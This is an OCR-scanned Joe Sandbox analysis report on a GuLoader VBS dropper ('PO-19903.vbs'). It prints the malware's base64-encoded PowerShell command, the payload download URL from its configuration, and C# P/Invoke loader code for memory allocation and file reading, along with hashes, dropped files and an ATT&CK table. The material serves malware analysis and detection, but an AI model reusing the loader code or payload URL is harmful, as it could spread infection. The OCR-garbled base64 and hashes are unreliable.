ZQAIACKAXQBWAHUAY gBsAGKAYWAgAHMAJABhAHQAaQBJACAAZQB4AHQAZQBYAGAAIABpAGAAdAAGAEMARABBAEMAKABPAGAAdJAAGAFAADWBPAGAAdABZAGOA
ZQBUAGgAMAASAHUAaQBUAHQAIABQAG8AaQBUAHQACWBtAGUAbgBOADEALABJIAG4AdABQAHQACJAgAFAABWBPAGAAdABZAGOAZQBUAGYAMIASAHIAZQBMACAA
SQBUAHQAMWAYACAAUABVAGKAbgBOAHMADQBIAG4AaAAZACWAaQBUAHQAIABQAG8AaQBUAHQACWBIAGUAbgBoADQAKQA7AAOACYBbAEQADABSAEKADQBWAGSBA
cgBOACgAIgBVAFMARQBSADMAMgAIACKAXQBWAHUAYgBSAGKAYWAgAHMAJABhAHQAaQBJACAAZQB4AHQAZQBYAGAAIABIJAGAAdABQAHQACGAGAEUAbgBIAGOA
VwWBpAG4AZABVAHCACWAOAEKAbgBOAFAAJABYACAAUABVAGKAbgBOAHMADQBIAG4AaAA1IACWAaQBUAHQAIABQAG8AaQBUAHQACWBIAGUAbgBOADYAKQA7AAOA
CgANAAOAFQANAAOAIgGBAAAOACYAJAEgATWBWAEUARABCAFKAIABWAEUATABTAEUAUWBNACAARQB2AGUACGBIAGQAIABQAHIAbWBhAGOAYQBOAGUAdQAgAHAA
YQBhAHMAawB5AG4AZAAGAEGAYQBhAGAAZABIAHYAZQBUACAAZGBVAHIADABIAGUACgBUACAAYgBIAHQAaABhAG4AawBpAG4AZWAGAGUAIQBYAGBAdgBpAHMA
aQBVACAARgBVAHIAdQBKAGQAaQBzACAADQAKACQARYBVAHIADABSADKAMgAIACIAJABIAGAAdgABAHQAZQBIAHAAIGAGACSAIAAIAFWATWBWAEUAUgAUAGQA
YQBOACIADQAKACMAYgBVAG8AawBsAGKAZgBOAGOAIABGAGBACcgBzZAGEAZQBKAGUAdQAgAFUAbgBKAGUACgBzACAAY gBVAHIAJABMAGSBACYBrACAAZABIAHQA
ZQAgAEWAY QBtAHAAY QAGAEIADABhAGAAYWBOAGUAZAA2ACAAVABhAHCACABPAGUADQBhAHMAJAAGAHQAaQBSAHMAJABhAGAAZAAGAGSAY QBYAHQAbBWBUAGAA
IABCAGUAdgBpAGWAZWBIAG4AZAAXACAAQYBhAGCAZWBYAHUAbgBKADEAIABUAGEAbgBOAGEAbABpAHMAZQAYACAAQYBSAGBAZABOADMAIAANAAOAIJABGAGSEA
cgBsAHKAOQAZADOAMAA7AAOACYAKAEY AbwBYAGWAeQASADKAPQAXADAANAA4ADUANWA2ADSADQAKACQARYGBVAHIADABSADKAOAAIAFSARgBVAHIADABSADKA
MQBdADoAOgBOAHQAQQBSAGWAbWBJAGEAdABIAFYAaQBYAHQAdQBhAGWATQBIAGOAbwBYAHKAKAAtADEALABDAHIAZQBMAFOAJABGAG8ACgBSAHKAOQAZACWA
MAASAFsAcgBIAGYAXQAKAEYAbwByAGwWAe QA5ADKALAAXADIAMgA4ADgALAA2ADQAKQANAAOCAIWBTAHYAawBsAGkAbgBnAGUACgBUADEAIABIAGWAY QBUAGSA
IABHAHUAdABOAGUACgBzZAHMAZQAgAFUASABZAECARWBFAE4AUWBJIAEWAIABVAGY AbwByAG QAIABSAGKAZWBzAGCACgBIACAAQYBMAESASWBOAEKAIABFAFYA
QQBOAEUAUWAGAFQACYBhAGMAJABhAGIAIABKAHUADABIAG4AZQBNACAAYgBUAGYAY QBSAGQAZQBSAHMAIABNAEKAUWBMACAAbWBtAHMAJAAGAFQAZQBZAHQA
aQBrAGWAZQBUADYAIABGAGKAbABtACAACABhAGOACABhAGAAZWBVAGSAbWAgAAOACIAKAEY AbwBYAGWAeQASADQAPQBDAEYAbwBYAGWAeQASADEAXQAGADOA
VgBpAGEAYWAOACQARgBVAHIAbAB5ADKAMgASADIAMQAOADCANAA4ADMANGAOADGALAAXACWAMAASADMALAAXADIAOAASADAAKQANAAOAIWBMAGUAbgBZAGEA
ZgBOAGEAbABIACAATYBhAHQAJQA4ACAARYIBPAFIAUWBBAEOATABJIAE4AIABIAG4AawBVACAAUWBVAEIATQBPAEQARQBBACAAZQBSAGUAZgAGAGMAYQBOAGEA
cgBpAG4AZQBzACAAQgYBYAGEAbgBJAGIAZQBVAHIAIABOAG8AbgBMAGEAbgALACAATQBPAHMAIWA3ACAAQYBPAGWADAAgAHOADWBIAGY AbwByACAAUABhAGWA
YQBIACAASWBOAGEACgB1AG4AIABYAGUAdABYAGKAY gB1AHQAaQAgAFMAdQBMAGYAcgBhAGCAZQBOACAATABPAGAACWBIAHIADgABACAARQBIAHMAaQBSAGUA
CgASACAAYWBhAHQAY QBSAHKACWBOAGWAZQAGAFYAY QBNAGKAZgAgAFMAawBy AGWADABIAHIAY QBUAGKAIABSAEUAVABTAEEAIABUAGgACgBVAGMAawBzAGKA
IABJAG4AZQBMAGYAaQBJAGEAYWA4ACAAZWBIAGAAZQBYAGEAIABVAGWAdgBIAHUAbgBNACAATgBpAGCcAaABOAHCAY QBYAGQAbgAYACAASWBWAEEARABSAEEA
VABUAEEAIAANAAOAJABGAGBACgBSAHKAOQA1IADOAMAATAAOACIAJAEWAY QBUAGQACWBYAGUAJABWAGBANAAGAEBACABZAHYAdQBSADMAIABLAG8AbgBOAHIA
YQAgAHAACYBIAGQAZQAGAEIAUgBBAE4ARABTAEWAIABTAESATWBWAEQAQQBIAEWAVQAJAGQAZQBJAGEAbgBhAGWACWBhACAAawBhAGBADABPAG4ACWBhACAA
ZwByAHUAdABOAGUAZABIACAAUWBOAHIAbQBMAG8ACgBIACAAUABZAGUAdQBKADYAIABIAGUACABOAGEACgBJADgAIABTAGUAYWBYACAAYgBpAGWADABVAHCA
aQBUACAAYgBhAHQAYWAJAEYASQBUAFQAQQBCAEWARQAJAFAAaQBUAGsAbgBIAHMACWBIACAAUABTAEBAQWBIAEQAQQBFAEMASAAGAAOACYBbAE
YAbwBYAGWAeQASADEAXQABADOAQWBEAEEAQWAOACQARYBVAHIADABSADKANAASACQARgBVAHIADABSADKAMWASADUAOQAXADCAOQASAFSACGBIAGYAXQAKAE
YAbwBYAGWAeQA5ADUALAAWACKADQAKACMAJABOAGUADQAgAFMAUABBAFQAQQBMACAAUWBOAGEAbABSAGUACgBVADGAIABQAGKACWBOAGKAIABP
AGUAZABpAGMAbgAgAEMAQQBOAE4ASQBCAEEATAAgAEWAeQBrAGSAZQBKAGUAcwBzADCAIABOAHIAZQBKAGKAdgBIAGEAY QBYACAAUQGBIAGOACWBOAGYANAAY
AFMAVQBQAFAARQBUAEUAUgBSACAARgBSAGUACgBKAGBAYJAXACAASQBUAGBACGBKAGKAbgAIACAASWBOAEIARQAgAFMAJABhAHQAAQAGAFIAZQBZAHQAYQB1
AHIAYQBOADgAIABMAGKAdABOAHKACWA4ACAATABFAFQAVABSAESAIABSAGKAZWBYAG8AaQBUAHMACgAGAEQACYBIAHQAIABKAGUAZWBhAHMACWBIAHMAIABC
AGWACgBIAHIAbWA4ACAADQAKAFSARgBVAHIADAB5ADKAMQBAADOAOgBFAGAAdQBIAFcAaQBUAGQAbWB3AHMAKAAKAEY AbwBYAGWAeQASADMALAAGADAAKQAN
AAOADQAKAA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)
conhost.exe (PID: 5904 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ csc.exe (PID: 1164 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nixooqy0\nixooqy0.c
mdline MD5: 350C52F71BDED7B99668585C15D70EEA)
e [ cvires.exe (PID: 4728 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\usen\A
ppData\Local\Temp\RESA741.tmp" "c:\Users\user\AppData\Local\Temp\nixooqyO\CSCD80281C713344E65BE3EDC717FEDF542. TMP" MD5:
C09985AE74F0882F208D75DE27770DFA)

= cleanup

Malware Configuration

Threatname: Guloader

"Payload URL": "https://vegproworld.com/wp-content/Touchb.vbs"

Yara Signatures

Memory Dumps

Source Rule Description Author Strings
00000012.00000002.806121442.0000000009200000.00000  JoeSecurity_GuLo = Yara detected Joe Security
040.00000800.00020000.00000000.sdmp ader_2 GuLoader

00000000.00000003.585259442.000001AB0D281000.00000 SUSP_LNK_Suspi Detects LNK file Florian Roth e Oxleaa:$s12: Wscript.Shell
004.00000020.00020000.00000000.sdmp ciousCommands with suspicious

content

Sigma Signatures

@ No Sigma rule has matched
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Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Found malware configuration

Multi AV Scanner detection for submitted file

Networking

C2 URLs / IPs found in malware configuration

Potential malicious VBS script found (has network functionality)

System Summary

Wscript starts Powershell (via cmd or directly)

Very long command line found

Data Obfuscation

Yara detected GuLoader

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Mitre Att&ck Matrix
Initial . .
“ Execution Persistence
Access
Valid Path
Accounts Command  Interceptio
and n
Scripting
Interpreter
Default Boot or
Accounts Scripting Logon
Initializatio
n Scripts
Domain Logon
Accounts PowerShell  Script
(Windows)
Local At Logon
Accounts (Windows)  Script
(Mac)
Cloud Cron Network
Accounts Logon
Script

Copyright Joe Security LLC 2022

Privilege

Escalation

Process
Injection

Boot or
Logon
Initializatio
n Scripts

Logon
Script
(Windows)

Logon
Script
(Mac)

Network
Logon
Script

Defense
Evasion

Masqueradi
ng

Virtualizatio
n/Sandbox
Evasion

Process
Injection

Deobfuscat
e/Decode
Files or
Information

Scripting

Credential

Access

oS
Credential
Dumping

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Discovery

Security
Software
Discovery

Process
Discovery

Virtualizatio
n/Sandbox
Evasion

Application
Window
Discovery

File and
Directory
Discovery

Lateral
Movement

Remote
Services

Remote
Desktop
Protocol

SMB/Wind
ows Admin
Shares

Distributed
Component
Object
Model

SSH

Collection

Archive
Collected
Data

Data from
Removable
Media

Data from
Network
Shared
Drive

Input
Capture

Keylogging

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Command
and
Control

Encrypted
Channel

Application
Layer
Protocol

Steganogra
phy

Protocol
Impersonati
on

Fallback
Channels

Network
Effects

Eavesdrop
on Insecure
Network
Communic
ation

Exploit SS7
to Redirect
Phone
Calls/SMS

Exploit SS7
to Track
Device
Location

SIM Card
Swap

Manipulate
Device
Communic
ation

Remote
Service
Effects

Remotely
Track
Device
Without
Authorizati
on

Remotely
Wipe Data
Without
Authorizati
on

Obtain
Device
Cloud
Backups

A |
|
|

g

Impact

Modify
System
Partition

Device
Lockout

Delete
Device
Data

Carrier
Billing
Fraud

Manipulate
App Store
Rankings
or Ratings
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Initial . A
Execution Persistence

Access

Replication Launchd Rc.commo

Through n

Removable

Media

Behavior Graph

Privilege
Escalation

Rc.commo
n

. Command Remote
Defense Credential . Lateral . . . Network .
. Discovery Collection Exfiltration and Service Impact
Evasion Access Movement Effects
Control Effects
Cached VNC GUl Input  Exfiltration  Multiband ~ Jamming or Abuse
Obfuscated Domain System Capture Over C2 Communic  Denial of Accessibilit
Files or Credentials Information Channel ation Service y Features
Information Discovery
Behavior Graph d
Legen
ID: 625175
sample: PO-19903.vbs SUSPICIOUS l:' Process
Startdate: 12/05/2022 CLEAN X
Architecture:  WINDOWS T | |:| Signature
S 3 .
eore & |:| Created File
Il onsieinfo
A% Is Windows Process
Zas Number of created Registry Values
% wscript.exe .".' n

Screenshots

Thumbnails

G: W

Y

2

zz
3

—f =
=) g2
il 3

Q@ 2|

Wscript starts Powershell
(via cmd or directly)

Encrypted powershell

Very long command line
found cmdline option found

&

@
5
3
3

g

~J2 8

/]
4 csc.exe

n B:

dropped

C:\Users\luser\AppDatalLocal\...\nixoogy0.dll, PE32

cvires.exe

&=

Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

\ started

C

conhost.exe

started

G

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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X E

Excel 2016 Word 2016

VLZDGUK  QuTVI

H 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link
PO-19903.vbs 20% ReversingLabs Script. Trojan.Valyri
a
Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches
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URLs

Source Detection Scanner Label Link
http://https://go.micro 0% URL Reputation safe
http://https://vegproworld.com/wp-content/Touchb.vbs 0% Avira URL Cloud safe
Domains and IPs
Contacted Domains
@ No contacted domains info
Contacted URLs
Name Malicious Antivirus Detection Reputation
http://https://vegproworld.com/wp-content/Touchb.vbs true e Avira URL Cloud: safe unknown
URLs from Memory and Binaries
Name Source Malicious  Antivirus Detection Reputation
http:/f powershell.exe, 00000012.00000002.799500 false high
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam ~ 951.0000000004921000.00000004.00000800.0
e 0020000.00000000.sdmp
http://https://go.micro powershell.exe, 00000012.00000002.801078 false e URL Reputation: safe unknown
678.0000000004BC7000.00000004.00000800.0
0020000.00000000.sdmp
World Map of Contacted IPs
@ No contacted IP infos

General Information
Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 625175
Start date and time: 12/05/202213:29:19 2022-05-12 13:29:19 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 9m 26s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: PO-19903.vbs
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 30
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: o HCA enabled

e EGA enabled

e HDC enabled

* AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal84.troj.evad.winVBS@8/9@0/0
EGA Information: e Successful, ratio: 100%
HDC Information: Failed
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HCA Information:

.

Successful, ratio: 100%
e Number of executed functions: 0
Number of non-executed functions: 0

.

Cookbook Comments: Found application associated with file extension: .vbs
Adjust boot time
Enable AMSI

Override analysis time to 240s for JS files taking high CPU consumption

e o o o

Warnings

e Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe,
WmIPrvSE.exe, svchost.exe, wuapihost.exe

e Excluded IPs from analysis (whitelisted): 23.211.6.115

Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, fs.microsoft.com, login.live.com, store-images.s-microsoft.com, sls.update.mic

rosoft.com, store-images.s-microsoft.com-c.edgekey.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com

Not all processes where analyzed, report is missing behavior information

Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

.

e o o o

Simulations

Behavior and APIs

Time Type Description

13:33:25 API Interceptor 33x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

©@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\OVER.dat

Process: C:\Windows\System32\wscript.exe
File Type: data

Category: dropped

Size (bytes): 59179

Entropy (8bit): 7.382148699631125

Encrypted: false
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SSDEEP: 1536:h+3+0NMsrhj0KX8PR8u6DXwceBy0SE9trLu:Y+NuhQzJ8xrVfObfLu

MDS5: DD9476AAE299F8CD938C0948F1F1C984

SHA1L: CB7F30DDE5A14A71FB33FDD8EDECADFBDB59F178

SHA-256: 6E63C9314D2B7EEFE27553D57326E4A39DCEOC360CDBF1E5B146C244A0EQ09EBA

SHA-512: B2E5DOFC61FD41F9135960A0B1C602A3129E9C620ABC233476CFCAFAF827205A0A9E50B80920FFA1713D814C749D3D165462FDO6C2EEFOF2AFALF7A9841FDA!
D

Malicious: false

Reputation: low

Preview: ... h#.a:.4%$1..".,$..2Z.._1.4..r@@@@9.uWw....... H;s..ell.$...d.L..G.m.l....Z7. XvB.m.l....wW.M.t..M\...p*..2Lu.. Jw....\2(.7..F.{....p8..{..z.....c..c.c.c..c..c..C..

c..c..c..c..c..c..c..c..c..c..c..C..Cc..C..C..C..C..C..C..C..C..C..C..C..C..C.]....*../.@......ed.b.M"....s..1....y.+T.T.je...R.du..i2.N{.E...._aZ~...uW...... :.P.8..V..@(..1%....... B.z...@QE
.R{..n~.@>.0.....B...c..c..c..c..c..Cc..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C..C.k....qf...M...pPJs...V..m."1.Z9J.8....%..%...q..*.. \..v..b.....L.
.6.p}.n..9.X..k%....b....r..r.-T.36...UJ9P...N.& . XARW...-.../Y6{...F.}.=..{....Ip.V.0o..........r.b=.. . A...C.I...J9P..N.& . XARW...-../Y6{...F.}.=..{....Ip.V.0.......El%....7.....r.J.1.
..N.b....1..6.p}.N..9.X..k%.'1.Z9J.8....%..%...q.%..\.v@...E.<..=/.L.Ht...D...F.L.X.(.V.Y+.%.X..r..E*Hn<../bl...7.<....... nfr.(....G..P.H....]..%.

C:\Users\user\AppData\Local\Temp\RESA741.tmp

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe

File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols
Category: dropped

Size (bytes): 1328

Entropy (8bit):  3.994300931044267

Encrypted: false

SSDEEP: 24:Hkie9E2gmdQckXhHUaWhKE2mfll+ycuZhNFakSjPNng9qd:NmdxkxkK1mglulFa3Jq9K

MD5: F65AACFFA87FF3D50E26D4C74F94C373

SHA1L: 6A99566969A7B48289D6386F84EF8DAFE349ECAG

SHA-256: 2033A2E3693269ADE25A9E859EACEF47C94FC8D3FEBF878C467FFF4C03763D49

SHA-512: 01FAODC64D1B7C2F85B481D5B58F8A9E6279C5C56768C781885A841CC15574A686672D6F3B1B158A75D242DE11FE870B3631C38EAC677CELIE6DIE91676ADAE
6

Malicious: false

Reputation: low

Preview: L. oD debug$s........ | ISR @..B.rsrc$01........ Koo Qv @..@.rsrc$02........ = @.@........ T....c:\Users\user\AppData\Local\Temp\nixo
0qy0\CSCD80281C713344E65BE3EDC717FEDF542.TMP............... JKRYy..AZ("........... - C:\Users\usen\AppData\Local\Temp\RESA741.tmp.-.<.. '
...Microsoft (R) CVTRES.\.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft. NET\Framework\v4.0.30319\cvtres.exe.. b
...... HoolonHe L4L V.S _V.ER.SSLON._.LN.F.O.ccoooiiiiiiccceeen 2 D Vaair Flilledin fool L 8. Torans Ladt.i.onn. .String.Fil
elnfo.....0.0.0.0.04b.0..,...FileDes.cription... ..0..FileV.ers.ion...0..0..0..0.<..lnternalNam.e..n.ix0.0.0.y.0..d.ll..(..Leg.alcC.o.p.
y.rig.ht..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p0zljjqw.oai.ps1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1L: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01ES52DDB7875B4B

SHA-512: 4ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FI9BD058A12A280433ED6FA4651
0A

Malicious: false

Reputation: high, very likely benign file

Preview: 1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxfSm4f4.ld0.psm1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false
SSDEEP: 3:U:U
MDS5: C4CA4238A0B923820DCC509A6F75849B
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SHAL: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: ADFF4EA340F0A823F15D3F4F01AB62EAEOESDA579CCB851F8DBIDFEB4C58B2B37B89903A740E1EE172DA793A6E79D560E5F7FIBD058A12A280433EDEFA4651
0A

Malicious: false

Preview: 1

C:\Users\user\AppData\Local\Temp\nixooqyO\CSCD80281C713344E65BE3EDC717FEDF542.TMP

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe
File Type: MSVC .res

Category: dropped

Size (bytes): 652

Entropy (8bit):  3.0798254431067904

Encrypted: false

SSDEEP: 12:DXt4li3ntuAHia5YA49aUGigMZAiN5grynak7YnqgjPN5DIg5J:+RI+ycuZzhNFakSjPNngX

MDS5: 4AA44B85520779C78689E0415A285E87

SHAL: 1EDE7161C51CF583512BE32B8DF895F7164CD25F

SHA-256: 46E3F9ED1DF836373FB977E8B1594AB433CDEO1C35E2EBD4A9EE3FD0O22E77601

SHA-512: DE78B379F9FO0CA20008090E52BF4EA22F7F3BEFE6C12D95E14508319FB184B4843B3764B5C181642BD14DEF02294E6027E19665A8FA24184C8CE101C240F00CC
Malicious: false

Preview: Lo O L4..V.S._V.ER.S.ILO.N._LNF.O..cooooerririiiiiias D D...V.arF.ilelnfo...$..Translation........

S.tring.F.ilelnfo..
.L.eg.a.lC.o.p.y.rig.h.
0...0...0...

.0.0.0.0.0.4.b.0...,.....F.ileD.es.criptio.n.....0...FileV.ers.io.n...0..0..0..0.<..lLnternalNam.e..nix0.0.q.y.0..dLL..(_.
..D....0wrig.inalF.ilenam.e..nix.o.0.q.y.0..d.ll...4...P.ro.d.u.c.tV.ers.io.n.0..0..0..0..8..Ass.emb.ly. .Vers.ion..0..

C:\Users\user\AppData\Local\Temp\nixooqy0O\nixooqy0.0.cs

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type: UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category: dropped

Size (bytes): 889

Entropy (8bit):  5.191875284747735

Encrypted: false

SSDEEP: 24:Jo0VSAJIt2mRmgkr7NJt29L81RfdafHNQRARU1URIhWRIM:JoVSAJtFmhr7NJtUOROFQRARDRIi4RIM

MD5: EBEF46122B08728A01A250DF520357D7

SHA1L: D5DB4A89DA7DE1804EF133F7D81D56523044DA4C

SHA-256: 65013DE37A743262C3BEB05B409081A5CA852B93F72CA8CB70C83AABOCEO9F7C

SHA-512: B81F4DDD72DD4F85AC5E0A0BID7CBF148D834A89BAFIF4E9AAEBAL1116D82E802A95F7FF3EE069500031650D4CFACAOF099DE92791B3E64D82299F39F4D89FA
B8

Malicious: false

Preview: .using System;..using System.Runtime.InteropServices;..public static class Forly91..{..[Dllimport("gdi32")]public static extern IntPtr EnumFontsA(string FABLE,uint Kongeh

us,int Disvoiceao,int Forly90,int Mainasche,int Moralitl,int TOREADO);..[Dllimport("KERNEL32", EntryPoint="CreateFileA")]public static extern IntPtr Viac([Marsh
alAs(UnmanagedType.LPStr)]string FABLE,uint Kongehus,int Disvoiceao,int Forly90,int Mainasche,int Moralitl,int TOREADO);..[Dllimport(“ntdll”)]public static extern int
NtAllocateVirtualMemory(int Forly96,ref Int32 rustninger,int Pointsmenh,ref Int32 Forly9,int WORKSHIPME,int Forly97);..[Dlimport("KERNEL32", EntryPoint="ReadFile"
)lpublic static extern int CDAC(int PointsmenhO,uint Pointsmenhl,IntPtr Pointsmenh2,ref Int32 Pointsmenh3,int Pointsmenh4);..[DIlimport("USER32")]public static extern
IntPtr EnumWindows(IntPtr Pointsmenh5,int Pointsmenh6);....}

C:\Users\user\AppData\Local\Temp\nixooqyO\nixooqy0.cmdline

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 369

Entropy (8bit):  5.257421030296142

Encrypted: false

SSDEEP: 6:pAu+H2LvkuqJDdgxLTKbDdgB/6K2WXp+N23fbK/zxs7+AEszIWXp+N23fbK6:p37Lvkmb6KHSWZE8X

MD5: 48693CFB7F38C5B79F86BB3F5751649A

SHAL: CBCCA55EB411FC67A21719C465522544D1DA95EL

SHA-256: CF8CESDDE5D4E150909FA1092194BA7F5CO0CFDB3F7C30B2285B032DB336A58C6

SHA-512: 3AECB2BEBAEE3304E1210DF436EAB7DFABEF6A8432AF3756D870529C708A9469DAC54567CEBF9215E9C89CF889980791B6F7237716AF5DA664F6B490E6B7DC
76

Malicious: false

Preview: Jtlibrary /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys

tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\nixooqyO\nixooqyO0.dIl" /debug- /optimize+ /warnaserror /optimize+ "C
\Users\user\AppData\Local\Temp\nixooqy0\nixoogy0.0.cs"
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C:\Users\user\AppData\Local\Temp\nixooqyO\nixooqyO.dLl

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
dropped

3584

3.269805058908348

false

48:61PS4jyMCKVKEKE6jU0JjhRK1ulFa3Jq:QS8S2AJ3K
36507B049F6D91A727D91ADFD1DIC592
EBBA55DCF7DAD9C6A18413787B2E18DB8CEF9ACH
F6FEDEOCB43711520269A427502ED9FCA305A8E9D773A2612CCDB5A98A39BCCL
4EBCC020F4C275C7671638BE815985D4C11420F9E0432AEA219CFOD22BAD3B67B5CD9558317F495FE648FA469F96CCF2689D2A32A7C4F168353D433E7776A541

false

C:\Users\user\AppData\Local\Temp\nixooqy0O\nixooqyO0.out

Process:
File Type:
Category:

Size (bytes):

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
modified

867

Entropy (8bit):  5.324821463087829

Encrypted: false

SSDEEP: 24:KBqd3ka6KHDE8eKaM5DgBVKVrdFAMBJTH:Uika6ADE8eKxDcVKdBJj

MD5: 2EF8BAGAD66210702E42B88920DEOBF4

SHA1L: BACFCEF7CB56A80C16FB6814566E7DBSDE9BAAG4

SHA-256: CF60222670EF82500D1D6743EC94D6D972F2C5215DF4D759215DF8EBOA3447A0

SHA-512: 655105060533B91BF6CE7A0749EEDA10A233EC4CCDEL1C17654B06AF2C7F460C62AFB64E7581E9AE94331B3724B50F3789A8B44FD0610EF5DDC64E4D7D5F1D5
6

Malicious: false

Preview: .C:\Users\user\Desktop> "C:\Windows\Microsoft. NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC
_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\L
ocal\Temp\nixooqyO\nixooqy0.dll* /debug- /optimize+ /warnaserror /optimize+ "“C:\Users\user\AppData\Local\Temp\nixooqyO\nixooqy0.0.cs"......Microsoft (R) Visual C#
Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved....... This compiler is provided as part of the Microsoft (R) .NET Framework,
but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see
http://go.microsoft.com/fwlink/?LinkID=533240....

Static File Info

General

File type: ASCII text, with very long lines, with CRLF line terminators

Entropy (8bit):  4.507728980611977

TriD: e Visual Basic Script (13500/0) 100.00%

File name: PO-19903.vbs

File size: 256870

MD5: 0347b27843d88f73fdcd4dadb95549ac

SHAL: 2a2d6bcd2d83833d501b9695921855e1992f6ec8

SHA256: lab3aacaa62faa6a83173e9191972d427aab92f33c5276964f141€21c930e67

SHA512: 368c6f19dc73693acd0f8c2513489ech65bc763a6536de22a5421c05aff613191cd51379086765447b74faf28179e1253f7166d85ad9344a7a4bed442f1b9669

SSDEEP: 3072:UCZ+vnIxDSTz1EGYdx3VyZcd4B5RYe/aVPC1C:UCZ+vnWOtPYdLyDRYcaVql

TLSH: A544769245B1AFC8D1F839DFCB0D8620B2009D99A2D7F54C9AE211BD7FC72DA531B294

File Content ‘Leaveni MIDLET ABSENTEREN TITTERE Stningssek SMDES SOCIOECON Afgjortele gaidropsar Undenize4 FORR ..'FLISEB kogasinu VALMUER Repac2 RESTA

Preview: HYPERTRO Facittets6 forespoer Deklarer MATRAL Vier Epigraphe CAPRYLYLF Fintll3 EKSPE Duode Kakkelovn Netdriverw skry

Filelcon
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5

Icon Hash:

e8d69ece869a9ecd

Network Behavior

@ No network behavior found

Statistics

Behavior

@

System Behavior

@ wscript.exe

® powershell.exe
@ conhost.exe

@ csc.exe

@ cvires.exe

Click to jump to process

Analysis Process: wscript.exe PID: 6420, Parent PID: 3968

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

